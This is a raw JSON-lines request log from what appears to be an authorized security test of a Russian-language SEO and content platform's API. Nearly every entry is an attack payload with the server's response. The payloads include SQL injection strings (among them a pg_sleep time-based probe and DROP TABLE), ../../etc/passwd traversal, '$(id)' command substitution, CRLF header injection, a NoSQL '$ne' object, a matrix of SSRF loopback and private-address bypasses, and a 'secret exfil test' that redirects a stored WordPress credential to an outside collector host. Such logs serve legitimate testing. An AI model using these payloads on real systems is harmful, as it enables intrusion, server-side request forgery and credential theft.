{"ts": 1793047500.8075075, "tag": "wp-create-keep", "method": "PUT", "path": "/api/integrations/new", "body": {"brand": "zh-test", "kind": "wordpress", "name": "inj-wp-keep", "purpose": "secret exfil test", "destination": "https://bhemkrplqsbo56hr-dots.vixium.ai/keep-orig-26437", "model": "wpadmin", "value": "abcd efgh ijkl mnop qrst uvwx", "enabled": true}, "status": 200, "elapsed": 1.322, "resp": {"id": "ecbc4f6ce2c8c2fd071fee883317ada7"}}
{"ts": 1793047502.0623264, "tag": "wp-update-dest-only", "method": "PUT", "path": "/api/integrations/ecbc4f6ce2c8c2fd071fee883317ada7", "body": {"brand": "zh-test", "kind": "wordpress", "name": "inj-wp-keep", "purpose": "secret exfil test", "destination": "https://bhemkrplqsbo56hr-dots.vixium.ai/keep-evil-26437", "model": "wpadmin", "value": "", "enabled": true}, "status": 200, "elapsed": 0.248, "resp": {"id": "ecbc4f6ce2c8c2fd071fee883317ada7"}}
{"ts": 1793047506.8070095, "tag": "wp-check-after-update", "method": "POST", "path": "/api/integrations/ecbc4f6ce2c8c2fd071fee883317ada7/check", "body": {}, "status": 200, "elapsed": 3.744, "resp": {"ok": true}}
{"ts": 1793047508.2044463, "tag": "wp-get", "method": "GET", "path": "/api/integrations/ecbc4f6ce2c8c2fd071fee883317ada7", "body": null, "status": 404, "elapsed": 0.397, "resp": {"error": "Метод подключения не найден."}}
{"ts": 1793047521.5233874, "tag": "B-list-integrations", "method": "GET", "path": "/api/integrations", "body": null, "status": 200, "elapsed": 5.224, "resp": {"integrations": [{"id": "edddadc8774c5bbc68306ab59bae2058", "brand": "zh-test", "kind": "deepseek", "name": "inj-ds-invalid", "purpose": "probe", "destination": "", "model": "deepseek-chat", "enabled": true, "status": "failed", "updatedAt": "2026-10-26T23:36:58.141871+03:00", "checkedAt": "2026-10-26T23:37:27.425666+03:00"}, {"id": "629b7bf2905e62a9c9f3033560579a9e", "brand": "zh-test", "kind": "openai", "name": "inj-openai-invalid", "purpose": "probe", "destination": "", "model": "gpt-4o-mini", "enabled": true, "status": "failed", "updatedAt": "2026-10-26T23:36:58.839735+03:00", "checkedAt": "2026-10-26T23:37:13.601744+03:00"}, {"id": "5ef564d39532bed0786d40dfaa008f52", "brand": "zh-test", "kind": "openrouter", "name": "inj-or-invalid", "purpose": "probe", "destination": "", "model": "x/y", "enabled": true, "status": "failed", "updatedAt": "2026-10-26T23:36:59.483424+03:00", "checkedAt": "2026-10-26T23:37:14.470178+03:00"}, {"id": "46ec15777ea1a3fc972f4d917bce6726", "brand": "zh-test", "kind": "gemini", "name": "inj-gemini-invalid", "purpose": "probe", "destination": "", "model": "gemini-1.5-flash", "enabled": true, "status": "failed", "updatedAt": "2026-10-26T23:37:00.253898+03:00", "checkedAt": "2026-10-26T23:37:15.803795+03:00"}, {"id": "8aaaf714d31a7aafda80e5d34f8b88dc", "brand": "zh-test", "kind": "tavily", "name": "inj-tavily-invalid", "purpose": "probe", "destination": "", "model": "", "enabled": true, "status": "failed", "updatedAt": "2026-10-26T23:37:01.008069+03:00", "checkedAt": "2026-10-26T23:37:28.217216+03:00"}, {"id": "4da150e37402b759d96ca12959f85d1e", "brand": "zh-test", "kind": "telegram", "name": "inj-tg-invalid", "purpose": "probe", "destination": "@injtest", "model": "", "enabled": true, "status": "failed", "updatedAt": "2026-10-26T23:37:01.726559+03:00", "checkedAt": "2026-10-26T23:37:28.928984+03:00"}, {"id": "093c2d11d7b679bcd7ae94c737a243a9", "brand": "zh-test", "kind": "max", "name": "inj-max-invalid", "purpose": "probe", "destination": "123", "model": "", "enabled": true, "status": "failed", "updatedAt": "2026-10-26T23:37:02.74879+03:00", "checkedAt": "2026-10-26T23:37:19.974546+03:00"}, {"id": "4df46486623abd078a23d8ab4069bc0f", "brand": "zh-test", "kind": "metrica", "name": "inj-metrica-invalid", "purpose": "probe", "destination": "12345678", "model": "", "enabled": true, "status": "failed", "updatedAt": "2026-10-26T23:37:03.734252+03:00", "checkedAt": "2026-10-26T23:43:04.310137+03:00"}, {"id": "a644455d0de35d00d5e13d7fd9fc8a4c", "brand": "zh-test", "kind": "wordstat", "name": "inj-wordstat-invalid", "purpose": "probe", "destination": "b1g12345", "model": "213", "enabled": true, "status": "failed", "updatedAt": "2026-10-26T23:37:04.373465+03:00", "checkedAt": "2026-10-26T23:43:04.312842+03:00"}, {"id": "1ab79ec512a0ee7cf9663cc6caf0d4eb", "brand": "zh-test", "kind": "wordpress", "name": "inj-wp-apppass-example", "purpose": "probe", "destination": "https://example.com", "model": "wpuser", "enabled": true, "status": "failed", "updatedAt": "2026-10-26T23:37:47.326636+03:00", "checkedAt": "2026-10-26T23:37:55.801668+03:00"}, {"id": "038e5993760d83695a50259dec058b9c", "brand": "zh-test", "kind": "wordpress", "name": "inj-wp-localhost-8899", "purpose": "probe", "destination": "http://127.0.0.1:8899", "model": "wpuser", "enabled": true, "status": "failed", "updatedAt": "2026-10-26T23:37:48.013937+03:00", "checkedAt": "2026-10-26T23:37:56.439014+03:00"}, {"id": "c5f0521e4f1a2c8b3aa011e57ad488b0", "brand": "zh-test", "kind": "wordpress", "name": "inj-wp-localhost-https", "purpose": "probe", "destination": "https://127.0.0.1:8899", "model": "wpuser", "enabled": true, "status": "failed", "updatedAt": "2026-10-26T23:37:48.695972+03:00", "checkedAt": "2026-10-26T23:37:57.127996+03:00"}, {"id": "4672235a524ee4a7ef7252bb668a2115", "brand": "zh-test", "kind": "wordpress", "name": "inj-wp-myshare", "purpose": "probe", "destination": "https://rgwokwlkql4esjsz-dots.vixium.ai/", "model": "wpuser", "enabled": true, "status": "failed", "updatedAt": "2026-10-26T23:37:49.369125+03:00", "checkedAt": "2026-10-26T23:38:04.599754+03:00"}, {"id": "d8f466757709056bebf0d6611659fd87", "brand": "zh-test", "kind": "wordpress", "name": "inj-wp-noscheme", "purpose": "probe", "destination": "example.com", "model": "wpuser", "enabled": true, "status": "failed", "updatedAt": "2026-10-26T23:37:50.057277+03:00", "checkedAt": "2026-10-26T23:38:05.531178+03:00"}, {"id": "379f7f37792b793a24faae5a59cd7eb2", "brand": "zh-test", "kind": "wordpress", "name": "inj-wp-uniq", "purpose": "ssrf unique path", "destination": "https://bhemkrplqsbo56hr-dots.vixium.ai/injssrf832996", "model": "wpuser", "enabled": true, "status": "verified", "updatedAt": "2026-10-26T23:38:28.586255+03:00", "checkedAt": "2026-10-26T23:38:35.001289+03:00"}, {"id": "ecbc4f6ce2c8c2fd071fee883317ada7", "brand": "zh-test", "kind": "wordpress", "name": "inj-wp-keep", "purpose": "secret exfil test", "destination": "https://bhemkrplqsbo56hr-dots.vixium.ai/keep-evil-26437", "model": "wpadmin", "enabled": true, "status": "verified", "updatedAt": "2026-10-26T23:45:01.954057+03:00", "checkedAt": "2026-10-26T23:45:06.696233+03:00"}]}}
{"ts": 1793047522.886297, "tag": "B-update-integration-dest", "method": "PUT", "path": "/api/integrations/ecbc4f6ce2c8c2fd071fee883317ada7", "body": {"brand": "zh-test", "kind": "wordpress", "name": "inj-wp-keep", "purpose": "secret exfil test", "destination": "https://bhemkrplqsbo56hr-dots.vixium.ai/b-stolen-25246", "model": "wpadmin", "value": "", "enabled": true}, "status": 403, "elapsed": 0.362, "resp": {"error": "Нет доступа к этому проекту."}}
{"ts": 1793047524.212587, "tag": "B-check-integration", "method": "POST", "path": "/api/integrations/ecbc4f6ce2c8c2fd071fee883317ada7/check", "body": {}, "status": 403, "elapsed": 0.322, "resp": {"error": "Нет доступа к этому проекту."}}
{"ts": 1793047534.7615585, "tag": "tg-verify-inject", "method": "POST", "path": "/api/integrations/4da150e37402b759d96ca12959f85d1e/verify-channel", "body": {"destination": "@inj&offset=99"}, "status": 400, "elapsed": 1.502, "resp": {"error": "Укажите @имя канала или числовой chat_id."}}
{"ts": 1793047536.0917752, "tag": "tg-verify-url", "method": "POST", "path": "/api/integrations/4da150e37402b759d96ca12959f85d1e/verify-channel", "body": {"destination": "https://bhemkrplqsbo56hr-dots.vixium.ai/tg-dest-89362"}, "status": 400, "elapsed": 0.291, "resp": {"error": "Укажите @имя канала или числовой chat_id."}}
{"ts": 1793047537.3365989, "tag": "tg-verify-crlf", "method": "POST", "path": "/api/integrations/4da150e37402b759d96ca12959f85d1e/verify-channel", "body": {"destination": "@inj\r\nX-Inj: 1"}, "status": 400, "elapsed": 0.238, "resp": {"error": "Укажите @имя канала или числовой chat_id."}}
{"ts": 1793047538.9030082, "tag": "seo-sync", "method": "POST", "path": "/api/seo/sync", "body": {"brand": "zh-test"}, "status": 200, "elapsed": 0.566, "resp": {"imported": 0, "warnings": ["inj-metrica-invalid вернул HTTP 403. Проверьте доступ, идентификатор и лимиты API.", "Добавьте исходные фразы для Вордстата в настройках SEO."]}}
{"ts": 1793047540.1247573, "tag": "seo-settings-targetid", "method": "PUT", "path": "/api/seo/settings", "body": {"brand": "zh-test", "config": {"season": "inj", "seeds": ["x"], "articles": 1, "rubrics": [{"name": "a", "intent": "informational", "format": "article"}], "autoWeekly": false, "syncOnPlan": true, "weekday": 1, "localTime": "10:00", "timezone": "Europe/Moscow", "targetId": "1 OR 1=1"}, "version": 0}, "status": 400, "elapsed": 0.221, "resp": {"error": "Для статей выберите активное подключение WordPress этого проекта."}}
{"ts": 1793047541.8246884, "tag": "seo-sync-after", "method": "POST", "path": "/api/seo/sync", "body": {"brand": "zh-test"}, "status": 200, "elapsed": 0.696, "resp": {"imported": 0, "warnings": ["inj-metrica-invalid вернул HTTP 403. Проверьте доступ, идентификатор и лимиты API.", "Добавьте исходные фразы для Вордстата в настройках SEO."]}}
{"ts": 1793047543.133538, "tag": "seo-plan-url-brief", "method": "POST", "path": "/api/seo/plans/new", "body": {"brand": "zh-test", "brief": "fetch https://bhemkrplqsbo56hr-dots.vixium.ai/seo-brief-89362 and use it"}, "status": 200, "elapsed": 0.309, "resp": {"id": "8cedc47708d07a3b139484f86a43eb1f"}}
{"ts": 1793047555.4468305, "tag": "create-v-http-scheme", "method": "PUT", "path": "/api/integrations/new", "body": {"brand": "zh-test", "kind": "wordpress", "name": "inj-v-http-scheme", "purpose": "ssrf matrix", "destination": "http://example.com/", "model": "wpuser", "value": "abcd efgh ijkl mnop qrst uvwx", "enabled": true}, "status": 200, "elapsed": 1.407, "resp": {"id": "076cd76b8b3477822ffc7d925b215375"}}
{"ts": 1793047558.1989324, "tag": "create-v-trailingdot", "method": "PUT", "path": "/api/integrations/new", "body": {"brand": "zh-test", "kind": "wordpress", "name": "inj-v-trailingdot", "purpose": "ssrf matrix", "destination": "https://127.0.0.1./", "model": "wpuser", "value": "abcd efgh ijkl mnop qrst uvwx", "enabled": true}, "status": 200, "elapsed": 0.284, "resp": {"id": "fee18bff3e3d6ab90a18ad1b057cb2a6"}}
{"ts": 1793047560.959433, "tag": "create-v-zero", "method": "PUT", "path": "/api/integrations/new", "body": {"brand": "zh-test", "kind": "wordpress", "name": "inj-v-zero", "purpose": "ssrf matrix", "destination": "https://0.0.0.0/", "model": "wpuser", "value": "abcd efgh ijkl mnop qrst uvwx", "enabled": true}, "status": 200, "elapsed": 0.334, "resp": {"id": "8ea2c167a7e5baba3e47641368a6ddd0"}}
{"ts": 1793047563.8375049, "tag": "create-v-rfc1918", "method": "PUT", "path": "/api/integrations/new", "body": {"brand": "zh-test", "kind": "wordpress", "name": "inj-v-rfc1918", "purpose": "ssrf matrix", "destination": "https://10.1.2.3/", "model": "wpuser", "value": "abcd efgh ijkl mnop qrst uvwx", "enabled": true}, "status": 200, "elapsed": 0.253, "resp": {"id": "afc894022f31b4bdcec7574330b8a120"}}
{"ts": 1793047566.395126, "tag": "create-v-rfc1918b", "method": "PUT", "path": "/api/integrations/new", "body": {"brand": "zh-test", "kind": "wordpress", "name": "inj-v-rfc1918b", "purpose": "ssrf matrix", "destination": "https://192.168.1.1/", "model": "wpuser", "value": "abcd efgh ijkl mnop qrst uvwx", "enabled": true}, "status": 200, "elapsed": 0.25, "resp": {"id": "769f52956203886a61d665b496941857"}}
{"ts": 1793047569.188203, "tag": "create-v-localdomain", "method": "PUT", "path": "/api/integrations/new", "body": {"brand": "zh-test", "kind": "wordpress", "name": "inj-v-localdomain", "purpose": "ssrf matrix", "destination": "https://localhost.localdomain/", "model": "wpuser", "value": "abcd efgh ijkl mnop qrst uvwx", "enabled": true}, "status": 200, "elapsed": 0.372, "resp": {"id": "6113065f2f42bb9e43895664e9a26c21"}}
{"ts": 1793047578.6390824, "tag": "create-v-ip-nip-10", "method": "PUT", "path": "/api/integrations/new", "body": {"brand": "zh-test", "kind": "wordpress", "name": "inj-v-ip-nip-10", "purpose": "ssrf matrix", "destination": "https://10.1.2.3.nip.io/", "model": "wpuser", "value": "abcd efgh ijkl mnop qrst uvwx", "enabled": true}, "status": 200, "elapsed": 0.307, "resp": {"id": "e40f2f8fa02596ecf6c7edc3c6751f86"}}
{"ts": 1793047581.4743068, "tag": "create-v-ip-nip-192", "method": "PUT", "path": "/api/integrations/new", "body": {"brand": "zh-test", "kind": "wordpress", "name": "inj-v-ip-nip-192", "purpose": "ssrf matrix", "destination": "https://192.168.1.1.nip.io/", "model": "wpuser", "value": "abcd efgh ijkl mnop qrst uvwx", "enabled": true}, "status": 200, "elapsed": 0.228, "resp": {"id": "0431b20c6310cd9f89fcd9e92001874d"}}
{"ts": 1793047592.9173634, "tag": "create-p-explicit-443", "method": "PUT", "path": "/api/integrations/new", "body": {"brand": "zh-test", "kind": "wordpress", "name": "inj-p-explicit-443", "purpose": "ssrf matrix", "destination": "https://example.com:443/", "model": "wpuser", "value": "abcd efgh ijkl mnop qrst uvwx", "enabled": true}, "status": 200, "elapsed": 1.254, "resp": {"id": "85580bf9074a70926e2db5e524b09fb8"}}
{"ts": 1793047595.8884857, "tag": "create-p-local-trail-443", "method": "PUT", "path": "/api/integrations/new", "body": {"brand": "zh-test", "kind": "wordpress", "name": "inj-p-local-trail-443", "purpose": "ssrf matrix", "destination": "https://127.0.0.1.:443/", "model": "wpuser", "value": "abcd efgh ijkl mnop qrst uvwx", "enabled": true}, "status": 200, "elapsed": 0.293, "resp": {"id": "4065eccc539e4e85f86b0f0b80cb3d3b"}}
{"ts": 1793047598.4798262, "tag": "create-p-nipio-443b", "method": "PUT", "path": "/api/integrations/new", "body": {"brand": "zh-test", "kind": "wordpress", "name": "inj-p-nipio-443b", "purpose": "ssrf matrix", "destination": "https://127.0.0.1.nip.io:443/", "model": "wpuser", "value": "abcd efgh ijkl mnop qrst uvwx", "enabled": true}, "status": 200, "elapsed": 0.238, "resp": {"id": "595615f143193c7475a93adb8ccdf83d"}}
{"ts": 1793047601.7606142, "tag": "create-p-ipv6-hex", "method": "PUT", "path": "/api/integrations/new", "body": {"brand": "zh-test", "kind": "wordpress", "name": "inj-p-ipv6-hex", "purpose": "ssrf matrix", "destination": "https://[::ffff:7f00:1]/", "model": "wpuser", "value": "abcd efgh ijkl mnop qrst uvwx", "enabled": true}, "status": 200, "elapsed": 0.244, "resp": {"id": "f406dd3e7ec2cdc7a6ec0053af96949c"}}
{"ts": 1793047614.666555, "tag": "design-get", "method": "GET", "path": "/api/workflows/a3171c78a11ef4af16c4606d21b62ef5/design", "body": null, "status": 404, "elapsed": 0.469, "resp": {"error": "Изображение ещё не подготовлено."}}
{"ts": 1793047617.4987864, "tag": "design-get-after", "method": "GET", "path": "/api/workflows/a3171c78a11ef4af16c4606d21b62ef5/design", "body": null, "status": 404, "elapsed": 0.498, "resp": {"error": "Изображение ещё не подготовлено."}}
{"ts": 1793047632.0095897, "tag": "design-after-png", "method": "GET", "path": "/api/workflows/a3171c78a11ef4af16c4606d21b62ef5/design", "body": null, "status": 404, "elapsed": 0.336, "resp": {"error": "Изображение ещё не подготовлено."}}
{"ts": 1793047682.3121345, "tag": "inj-numberformat", "method": "POST", "path": "/api/seo/import", "body": {"brand": "zh-test", "csv": "query,impressions\na,1", "numberFormat": "x'; DROP TABLE x;--", "source": "inj", "dateFrom": "2026-10-01", "dateTo": "2026-10-02", "columns": {"query": "query", "impressions": "impressions"}}, "status": 400, "elapsed": 2.172, "resp": {"error": "Выберите формат чисел CSV."}}
{"ts": 1793047683.8676467, "tag": "inj-columns", "method": "POST", "path": "/api/seo/import", "body": {"brand": "zh-test", "csv": "query,impressions\na,1", "numberFormat": "decimal-point", "source": "inj", "dateFrom": "2026-10-01", "dateTo": "2026-10-02", "columns": {"query": "../../etc/passwd", "impressions": "impressions"}}, "status": 400, "elapsed": 0.555, "resp": {"error": "Выбранный столбец не найден: ../../etc/passwd"}}
{"ts": 1793047685.4971151, "tag": "inj-dates", "method": "POST", "path": "/api/seo/import", "body": {"brand": "zh-test", "csv": "query,impressions\na,1", "numberFormat": "decimal-point", "source": "inj", "dateFrom": "2026-01-01' OR '1'='1", "dateTo": "2026-10-02", "columns": {"query": "query", "impressions": "impressions"}}, "status": 400, "elapsed": 0.355, "resp": {"error": "Строка 2: Проверьте период отчёта."}}
{"ts": 1793047686.8619282, "tag": "inj-brand-time", "method": "GET", "path": "/api/seo?brand=zh-test%27%20AND%20(SELECT%201%20FROM%20pg_sleep(5))%20AND%20%271%27%3D%271", "body": null, "status": 403, "elapsed": 0.365, "resp": {"error": "Выберите доступный проект."}}
{"ts": 1793047688.1687582, "tag": "inj-kind-array", "method": "POST", "path": "/api/projects/zh-test/check", "body": {"kind": ["telegram"]}, "status": 400, "elapsed": 0.307, "resp": {"error": "Некорректные данные запроса."}}
{"ts": 1793047689.4173884, "tag": "inj-brand-obj", "method": "POST", "path": "/api/seo/sync", "body": {"brand": {"$ne": ""}}, "status": 400, "elapsed": 0.242, "resp": {"error": "Некорректные данные запроса."}}
{"ts": 1793047690.9012318, "tag": "inj-id-check-traversal", "method": "POST", "path": "/api/integrations/..%2f..%2fetc%2fpasswd/check", "body": {}, "status": 404, "elapsed": 0.48, "resp": {"error": "Подключение не найдено."}}
{"ts": 1793047698.3066535, "tag": "wf-trash", "method": "POST", "path": "/api/workflows/a3171c78a11ef4af16c4606d21b62ef5/material-state", "body": {"state": "trash", "version": 1}, "status": 200, "elapsed": 1.122, "resp": {"ok": true}}
{"ts": 1793047699.645314, "tag": "seo-plan-get", "method": "GET", "path": "/api/seo/plans/8cedc47708d07a3b139484f86a43eb1f", "body": null, "status": 200, "elapsed": 0.337, "resp": {"id": "8cedc47708d07a3b139484f86a43eb1f", "brand": "zh-test", "weekStart": "2026-10-26", "status": "failed", "brief": "B seo plan on zh-test (seo:true)", "config": {"season": "", "seeds": [], "rubrics": [{"name": "Полезные советы", "intent": "informational", "format": "guide"}, {"name": "Экспертные статьи", "intent": "informational", "format": "expert"}, {"name": "Обзоры и сравнения", "intent": "commercial", "format": "review"}, {"name": "Идеи и вдохновение", "intent": "informational", "format": "entertainment"}], "articles": 4, "timezone": "Europe/Moscow", "localTime": "10:00", "weekday": 1, "autoWeekly": false, "syncOnPlan": true, "targetId": ""}, "basis": [], "stage": "План не подготовлен", "error": "Провайдер deepseek отклонил запрос. Проверьте модель, ключ и баланс (HTTP 401).", "version": 2, "topics": [], "createdAt": "2026-10-26T23:43:03.779651+03:00"}}
{"ts": 1793047702.3999436, "tag": "seo-get-final", "method": "GET", "path": "/api/seo?brand=zh-test", "body": null, "status": 200, "elapsed": 0.33, "resp": {"metrics": [{"id": "6d770c93f8ece3adabcbf0f0184b3383", "source": "csv:inj-csv-seoimp2797905", "dateFrom": "2026-10-01", "dateTo": "2026-10-20", "query": "$(id)", "pageUrl": "https://bhemkrplqsbo56hr-dots.vixium.ai/seoimp2797905/c", "frequency": 300, "impressions": 30, "clicks": 3, "visits": null, "conversions": null, "position": 5, "observedAt": "2026-10-26T23:41:11.382787+03:00"}, {"id": "26cf6682f2408f5d592f238a65050fb3", "source": "csv:inj-csv-seoimp2797905", "dateFrom": "2026-10-01", "dateTo": "2026-10-20", "query": "' OR 1=1 --", "pageUrl": "https://bhemkrplqsbo56hr-dots.vixium.ai/seoimp2797905/b", "frequency": 200, "impressions": 20, "clicks": 2, "visits": null, "conversions": null, "position": 4, "observedAt": "2026-10-26T23:41:11.382787+03:00"}, {"id": "64db566bb70030468ae9c5b4514a75be", "source": "csv:inj-csv-seoimp2797905", "dateFrom": "2026-10-01", "dateTo": "2026-10-20", "query": "купить жалюзи", "pageUrl": "https://bhemkrplqsbo56hr-dots.vixium.ai/seoimp2797905/a", "frequency": 100, "impressions": 10, "clicks": 1, "visits": null, "conversions": null, "position": 3, "observedAt": "2026-10-26T23:41:11.382787+03:00"}], "plans": [{"id": "8cedc47708d07a3b139484f86a43eb1f", "brand": "zh-test", "weekStart": "2026-10-26", "status": "failed", "brief": "B seo plan on zh-test (seo:true)", "config": {"season": "", "seeds": [], "rubrics": [{"name": "Полезные советы", "intent": "informational", "format": "guide"}, {"name": "Экспертные статьи", "intent": "informational", "format": "expert"}, {"name": "Обзоры и сравнения", "intent": "commercial", "format": "review"}, {"name": "Идеи и вдохновение", "intent": "informational", "format": "entertainment"}], "articles": 4, "timezone": "Europe/Moscow", "localTime": "10:00", "weekday": 1, "autoWeekly": false, "syncOnPlan": true, "targetId": ""}, "basis": null, "stage": "План не подготовлен", "error": "Провайдер deepseek отклонил запрос. Проверьте модель, ключ и баланс (HTTP 401).", "version": 2, "topics": [], "createdAt": "2026-10-26T23:43:03.779651+03:00"}], "settings": {"config": {"season": "", "seeds": [], "rubrics": [{"name": "Полезные советы", "intent": "informational", "format": "guide"}, {"name": "Экспертные статьи", "intent": "informational", "format": "expert"}, {"name": "Обзоры и сравнения", "intent": "commercial", "format": "review"}, {"name": "Идеи и вдохновение", "intent": "informational", "format": "entertainment"}], "articles": 4, "timezone": "Europe/Moscow", "localTime": "10:00", "weekday": 1, "autoWeekly": false, "syncOnPlan": true, "targetId": ""}, "version": 0, "nextRunAt": null, "lastError": ""}}}
{"ts": 1793047749.7930636, "tag": "rec-inj-tz", "method": "PUT", "path": "/api/recurring/new", "body": {"brand": "zh-test", "format": "post", "name": "inj-rec", "brief": "x", "localTime": "10:00", "timezone": "../../etc/passwd; id", "weekdays": [1], "mode": "auto", "destinationId": "", "version": 0, "activate": false, "allowAutopublish": false}, "status": 400, "elapsed": 1.192, "resp": {"error": "Неизвестный часовой пояс."}}
{"ts": 1793047751.0281968, "tag": "rec-inj-time", "method": "PUT", "path": "/api/recurring/new", "body": {"brand": "zh-test", "format": "post", "name": "inj-rec2", "brief": "$(id)", "localTime": "10:00' OR '1'='1", "timezone": "Europe/Moscow", "weekdays": [1, 99, -1], "mode": "auto", "destinationId": "", "version": 0, "activate": false, "allowAutopublish": false}, "status": 400, "elapsed": 0.235, "resp": {"error": "Укажите время в формате ЧЧ:ММ."}}
{"ts": 1793047752.3792684, "tag": "camp-inj", "method": "POST", "path": "/api/campaigns", "body": {"brand": "zh-test", "title": "inj-camp", "brief": "x", "settings": {"count": "1 OR 1=1", "spacing": "x", "startDate": "2026-10-27", "localTime": "10:00", "timezone": "Europe/Moscow"}}, "status": 400, "elapsed": 0.348, "resp": {"error": "Некорректные данные запроса."}}
